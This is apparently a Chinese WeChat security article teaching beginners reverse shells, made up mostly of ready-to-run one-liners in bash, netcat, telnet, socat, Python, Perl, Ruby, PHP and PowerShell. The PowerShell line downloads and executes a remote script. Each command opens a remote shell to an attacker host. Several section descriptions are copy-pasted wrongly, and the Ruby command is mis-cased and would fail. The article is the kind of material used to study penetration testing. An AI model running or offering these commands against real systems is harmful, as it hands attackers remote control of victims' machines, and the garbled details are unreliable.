本篇文章旨在为网络安全初学者介绍反弹shell。通过阅读本文,读者将能够对反弹shell以及其常用方法有一个初步的了解
一、前言
1、什么是反弹shell
反弹Shell(Reverse Shell),是一种网络安全概念,指的是攻击者通过特定的技术手段,使得受害者能够主动与攻击者建立连接,从而实现远程控制的目标系统。这种技术通常用于渗透测试和安全研究,但在非法环境中,它可能被用来窃取敏感信息或执行恶意代码。
2、反弹shell的概念
反弹Shell的核心在于“角色反转”,即原本的控制端和被控端的角色互换。在这种模式下,攻击者(控制端)监听一个TCP/UDP端口,而受害者(被控端)主动发起请求到这个端口,并将命令行的输入输出转发到攻击者处。这种方式允许攻击者在不直接访问目标系统的情况下,实现对目标系统的完全控制。
3、反弹shell的作用原理
反弹Shell的实现依赖于Linux文件描述符的重定向机制。通过特定的命令和工具,攻击者可以在监听端口的同时,创建一个交互式的Shell,使得受害者可以通过这个Shell执行任何命令,并将输出返回给攻击者。这种机制使得攻击者可以绕过防火墙和其他安全限制,实现对目标系统的远程控制。
二、Bash反弹
● 方法:利用Bash的特殊设备/dev/tcp建立TCP连接。
● 示例:
# 攻击者主机上执行监听
nc -lvvp 4444
# 目标主机上执行,其中x.x.x.x代表IP
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
三、Netcat反弹
● 方法:利用Bash的特殊设备/dev/tcp建立TCP连接。
● 示例:
# 攻击者主机上执行监听
nc -lvvp 4444
# 目标主机上执行:,其中x.x.x.x代表IP
nc -e /bin/bash x.x.x.x 4444
四、Telnet反弹
● 方法:利用Bash的特殊设备/dev/tcp建立TCP连接。
● 示例:
# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444 和 nc -lvvp 5555
# 目标主机中执行,其中x.x.x.x代表IP
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
五、Socat反弹
● 方法:使用Socat工具进行反弹。
● 示例:
# 攻击者主机上执行监听
socat tcp-listen:4444,fork -
# 目标主机上执行,其中x.x.x.x代表IP
socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane
六、Python反弹
● 方法:使用Socat工具进行反弹。
● 示例:
# 目标主机上执行:,其中x.x.x.x代表IP
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("x.x.x.x",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/bash","-i"]);'
七、Perl反弹
● 方法:使用Perl脚本创建socket连接。
● 示例:
# 目标主机上执行:,其中x.x.x.x代表IP
perl -e 'use Socket;#
$i="x.x.x.x";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
八、Ruby反弹
● 方法:使用Perl脚本创建socket连接。
● 示例:
# 目标主机上执行:,其中x.x.x.x代表IP
ruby -rsocket -e 'c=tcpsocket.new("x.x.x.x","4444");while(cmd=c.gets);io.popen(cmd,"r"){|io|c.print io.read}end'
九、PHP反弹
● 方法:使用PHP脚本创建socket连接。
● 示例:
# 目标主机上执行(假设有web服务器权限),其中x.x.x.x代表IP
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'
十、PowerShell反弹(Windows环境)
● 方法:使用PHP脚本创建socket连接。
● 示例:
# 攻击者主机上执行监听
nc -lvvp 4444
# 目标主机上执行,其中x.x.x.x代表IP
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -port 4444
声明
来自本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!
原文始发于微信公众号(泷羽SEC-ohh):渗透测试中反弹shell常用的几种姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论